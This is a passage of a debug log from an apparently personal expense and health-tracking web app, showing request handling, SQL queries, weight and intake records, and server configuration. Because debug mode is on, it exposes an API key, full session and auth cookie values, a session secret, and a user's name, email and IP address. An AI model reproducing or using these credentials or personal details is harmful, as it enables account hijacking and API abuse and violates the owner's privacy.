    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  }
]
2025-12-12T13:40:10.254Z server-connect:router Serving templateView /weight-trackor
2025-12-12T13:40:10.254Z server-connect:app Executing action step identify
2025-12-12T13:40:10.254Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:10.254Z server-connect:output identity: 1
2025-12-12T13:40:10.254Z server-connect:app Executing action step restrict
2025-12-12T13:40:10.254Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:40:10.255Z server-connect:output restrict: undefined
2025-12-12T13:40:10.255Z server-connect:router Render template weight-trackor
2025-12-12T13:40:10.255Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:40:10.459Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-12T13:40:10.459Z server-connect:app Executing action step identify
2025-12-12T13:40:10.459Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:10.459Z server-connect:output identity: 1
2025-12-12T13:40:10.459Z server-connect:app Executing action step restrict
2025-12-12T13:40:10.459Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:10.460Z server-connect:output restrict: undefined
2025-12-12T13:40:10.460Z server-connect:app Executing action step custom
2025-12-12T13:40:10.460Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-12T13:40:10.462Z server-connect:output list: [
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-12T13:40:18.022Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-12T13:40:18.023Z server-connect:app Executing action step identify
2025-12-12T13:40:18.023Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.023Z server-connect:output identity: 1
2025-12-12T13:40:18.023Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.023Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:18.023Z server-connect:output restrict: undefined
2025-12-12T13:40:18.023Z server-connect:app Executing action step insert
2025-12-12T13:40:18.024Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-12T13:40:18.025Z server-connect:output weight_log: { affected: 1, identity: 11 }
2025-12-12T13:40:18.226Z server-connect:router Serving templateView /weight-trackor
2025-12-12T13:40:18.226Z server-connect:app Executing action step identify
2025-12-12T13:40:18.226Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.226Z server-connect:output identity: 1
2025-12-12T13:40:18.226Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.226Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:40:18.227Z server-connect:output restrict: undefined
2025-12-12T13:40:18.227Z server-connect:router Render template layouts/main
2025-12-12T13:40:18.227Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:39:54.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM; your_r_git.sid=s%3AmcC14PpBg2RnqTLNhlpL3atsWDhAgt18.jNVE8THzRFSBHsASxy31AQka1aN2RNQ66CT49batnls',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-12T13:40:18.234Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-12T13:40:18.234Z server-connect:app Executing action step identify
2025-12-12T13:40:18.234Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.234Z server-connect:output identity: 1
2025-12-12T13:40:18.234Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.234Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:18.235Z server-connect:output restrict: undefined
2025-12-12T13:40:18.235Z server-connect:app Executing action step custom
2025-12-12T13:40:18.235Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-12T13:40:18.235Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-12T13:40:18.823Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T13:40:18.823Z server-connect:app Executing action step identify
2025-12-12T13:40:18.823Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.823Z server-connect:output identity: 1
2025-12-12T13:40:18.823Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.823Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:18.824Z server-connect:output restrict: undefined
2025-12-12T13:40:18.824Z server-connect:app Executing action step select
2025-12-12T13:40:18.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T13:40:18.826Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T13:40:18.828Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-12T13:40:18.829Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-12T13:40:18.830Z server-connect:app Executing action step identify
2025-12-12T13:40:18.830Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.830Z server-connect:output identity: 1
2025-12-12T13:40:18.830Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.830Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:18.830Z server-connect:app Executing action step identify
2025-12-12T13:40:18.830Z server-connect:app options: { provider: 'security' }
2025-12-12T13:40:18.830Z server-connect:output identity: 1
2025-12-12T13:40:18.830Z server-connect:app Executing action step restrict
2025-12-12T13:40:18.830Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:40:18.831Z server-connect:output restrict: undefined
2025-12-12T13:40:18.831Z server-connect:app Executing action step single
2025-12-12T13:40:18.831Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T13:40:18.831Z server-connect:output restrict: undefined
2025-12-12T13:40:18.831Z server-connect:app Executing action step custom
2025-12-12T13:40:18.831Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-12T13:40:18.832Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T13:40:18.832Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-12T13:42:59.066Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
